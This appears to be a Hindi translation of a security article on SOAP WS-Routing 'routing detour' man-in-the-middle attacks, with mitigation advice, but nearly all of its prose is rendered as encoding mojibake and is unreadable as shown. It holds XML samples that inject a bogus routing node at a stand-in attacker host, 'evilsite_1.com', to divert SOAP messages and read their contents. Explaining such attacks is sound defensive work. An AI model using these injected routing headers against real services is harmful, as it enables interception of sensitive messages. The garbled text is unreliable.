SOAP рд░реВрдЯрд┐рдВрдЧ рд╡рд▓реНрдирд░реЗрдмрд┐рд▓рд┐рдЯреА рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддрд╛ рд╣реИ

рд╡рд┐рд╡рд░рдг


рдбрдмреНрд▓реНрдпреВрдПрд╕-рд░рд╛рдЙрдЯрд┐рдВрдЧ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдПрдХ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╕рдВрджреЗрд╢ рдкреНрд░реЗрд╖рдХ рд╕реЗ рд░рд┐рд╕реАрд╡рд░ рддрдХ рдПрд╕рдУрдПрдкреА рд╕рдВрджреЗрд╢реЛрдВ рдХреЗ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ, рдЖрдорддреМрд░ рдкрд░ рдордзреНрдпрд╕реНрдереЛрдВ рдХреЗ рдПрдХ рд╕реЗрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред WS- рд░реВрдЯрд┐рдВрдЧ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ SOAP рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЗ рд░реВрдк рдореЗрдВ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдФрд░ SOAP рд╣реИрдбрд░ рдореЗрдВ рдПрдореНрдмреЗрдбреЗрдб рд╣реИред рдбрдмреНрд▓реВрдПрд╕-рд░рд╛рдЙрдЯрд┐рдВрдЧ рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдЕрдХреНрд╕рд░ рдПрдХреНрд╕рдПрдордПрд▓ рдкрде рдореЗрдВ рдЕрдВрддрд░рд┐рдо рд░рд╛рд╕реНрддрд╛ рд╕реНрдЯреЗрд╢рдиреЛрдВ рдХреЛ рдПрдХреНрд╕рдПрдордПрд▓ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХреЛ рд░реВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдорддрд┐ рджреЗрдХрд░ рдЬрдЯрд┐рд▓ рд╡рд╛рддрд╛рд╡рд░рдг рдФрд░ рд▓реЗрдирджреЗрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕рдПрдордПрд▓ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдПрдХ рдиреНрдпреВрдирддрдо рджреГрд╖реНрдЯрд┐рдХреЛрдг рд▓реЗрддреЗ рд╣реБрдП, WS- рд░рд╛рдЙрдЯрд┐рдВрдЧ рдПрдХ SOAP рд╕рдВрджреЗрд╢ рдХреЗ рднреАрддрд░ рдПрдХ рд╕рдВрджреЗрд╢ рдкрде рд╕рдВрд▓рдЧреНрди рдХрд░рддрд╛ рд╣реИ, рддрд╛рдХрд┐ рд╕рдВрджреЗрд╢ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реБрдП рдЯреАрд╕реАрдкреА рдФрд░ рдпреВрдбреАрдкреА рдЬреИрд╕реЗ рдкрд░рд┐рд╡рд╣рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдкрд░реНрдпрд╛рдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬреА рдЬрд╛рдП:

  • SOAP рд╕рдВрджреЗрд╢ рдкрде рдореЙрдбрд▓,
  • рдкреВрд░реНрдг-рджреНрд╡реИрдз, рдПрдХ-рддрд░рдлрд╝рд╛ рд╕рдВрджреЗрд╢ рдкреИрдЯрд░реНрди,
  • рдкреВрд░реНрдг-рджреНрд╡реИрдз, рдЕрдиреБрд░реЛрдз-рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдВрджреЗрд╢ рдкреИрдЯрд░реНрди рдФрд░
  • рд╕рдВрджреЗрд╢ рд╕рд╣рд╕рдВрдмрдВрдзред

рд░рд╛рдЙрдЯрд┐рдВрдЧ рдбреЗрдЯрд░реНрд╕ рдПрдХ рдкреНрд░рдХрд╛рд░ рдХрд╛ "рдореИрди рдЗрди рдж рдорд┐рдбрд▓" рд╣рдорд▓рд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдмрд┐рдЪреМрд▓рд┐рдпреЛрдВ рдХреЛ рдмрд╛рд╣рд░ рдХреЗ рд╕реНрдерд╛рди рдкрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдмрд┐рдЪреМрд▓рд┐рдпреЛрдВ рдХреЛ рдЗрдВрдЬреЗрдХреНрд╢рди рдпрд╛ "рдЕрдкрд╣реГрдд" рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд░реВрдЯрд┐рдВрдЧ рдЬрд╛рдирдХрд╛рд░реА (рдпрд╛ рддреЛ HTTP рд╣реЗрдбрд░ рдореЗрдВ рдпрд╛ WS- рд░рд╛рдЙрдЯрд┐рдВрдЧ рд╣реЗрдбрд░ рдореЗрдВ) рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдорд╛рд░реНрдЧ рдХреЗ рдирд┐рд╢рд╛рди рдХреЛ рд╣реЗрдбрд░ рдФрд░ рд╕рдВрджреЗрд╢ рд╕реЗ рд╣рдЯрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛрдИ рднреА рд╕рдордЭрджрд╛рд░ рдирд╣реАрдВ рдЬреЛ рд░реВрдЯрд┐рдВрдЧ рдЪрдХреНрдХрд░ рдЙрддреНрдкрдиреНрди рд╣реБрдЖ рд╣реЛред

рдкреНрд░рд╛рдердорд┐рдХ рдореБрджреНрджрд╛


рдЕрдиреНрд╡реЗрд╖рдХ рдЪрд░рдг рдореЗрдВ рдкрд╣рдЪрд╛рдиреЗ рдЧрдП SOAP рд╕рдВрджреЗрд╢ рдХреЗ XML рд╢реАрд░реНрд╖рд▓реЗрдЦ рдХреЗ рд░рд╛рдЙрдЯрд┐рдВрдЧ рдЯреЗрдмрд▓ рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдлрд░реНрдЬреА рд░рд╛рдЙрдЯрд┐рдВрдЧ рдиреЛрдб (рдПрдХ WS-рд░реЗрдлрд░рд▓ рд╕реЗрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ) рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдорд▓рд╛рд╡рд░ XML рд╕рдВрджреЗрд╢ рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдирд┐рдпрдВрддреНрд░рд┐рдд рдиреЛрдб рдкрд░ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ (рдФрд░ рд╕рдВрджреЗрд╢ рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддрд╛ рд╣реИ)

рдмреЛрдЧрд╕ рдиреЛрдб рдорд╛рд░реНрдЧ рдХреЗ WS-Referral рдЖрдзрд╛рд░рд┐рдд WS- рд░реВрдЯрд┐рдВрдЧ рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдЙрджрд╛рд╣рд░рдг


<r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example_2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite_1.com/router</r:via> </r:go> </r:ref> 

рдкрд░рд┐рдгрд╛рдореА рд░реВрдЯрд┐рдВрдЧ рдбреЗрдЯреЛрд░ рд╣рдорд▓реЗ


 <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example_2.com/router</m:via> <m:via>http://evilesite_1.com/router</m:via> <m:via>http://example_3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> 

рдкрд░рд┐рдгрд╛рдо


рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд░рд╛рдЙрдЯрд┐рдВрдЧ рдбреЗрдЯреМрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рд╣рдорд▓рд╛рд╡рд░ рдПрдХреНрд╕рдПрдордПрд▓ рд╕рдВрджреЗрд╢ рдХреЛ рд╣реИрдХрд░ рдирд┐рдпрдВрддреНрд░рд┐рдд рдиреЛрдб (рдФрд░ рд╕рдВрджреЗрд╢ рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдВрдЪ) рдХреЛ рд░реВрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрд╢рдорди


рдбрд┐рдЬрд╝рд╛рдЗрди: рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХрддрдо рд╕рдВрдЦреНрдпрд╛ рдордзреНрдпрд╡рд░реНрддреА рдиреЛрдбреНрд╕ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ рдФрд░ рдкрд╛рд░рд╕реНрдкрд░рд┐рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд╕рд╛рде рдПрд╕рдПрд╕рдПрд▓ рдХрдиреЗрдХреНрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди: рдкрд╛рд░рд╕реНрдкрд░рд┐рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓реЗ рд╕рднреА рджрд▓реЛрдВ рдХреЗ рдХрдиреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрд╕рдПрд╕рдПрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ

Source: https://habr.com/ru/post/hi467681/


All Articles